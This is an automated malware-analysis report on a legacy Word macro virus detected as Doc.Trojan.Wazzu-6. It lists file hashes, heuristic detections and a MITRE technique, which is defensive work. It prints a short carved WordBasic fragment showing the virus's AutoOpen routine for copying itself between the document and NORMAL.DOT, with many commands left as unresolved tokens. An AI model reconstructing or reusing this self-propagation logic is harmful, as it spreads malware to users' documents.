Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bbef2430ca496dce…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2012-06-14
MD5: b556986d1408463718b59a18997ed689 SHA-1: 4964000367ae3cb858763b63fb4e7ef536e3956a SHA-256: bbef2430ca496dceb426f5160b925e36e08269d5fd794033699617c6f114c8cb
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS' markers within its document body and heuristic firings. The embedded text and structure strongly indicate a malicious intent, likely for propagation or other harmful actions associated with older macro viruses. No specific network IOCs or executable payloads were directly extracted, but the presence of macro virus markers is a strong indicator of maliciousness.

Heuristics 3

  • ClamAV: Doc.Trojan.Wazzu-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 288 bytes
SHA-256: 6dc2b628834f13ad46f82d2a304468dc4614d51851d82cb375921477e9310d29
Preview script
First 1,000 lines of the extracted script
MAIN
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$
Payload
Payload

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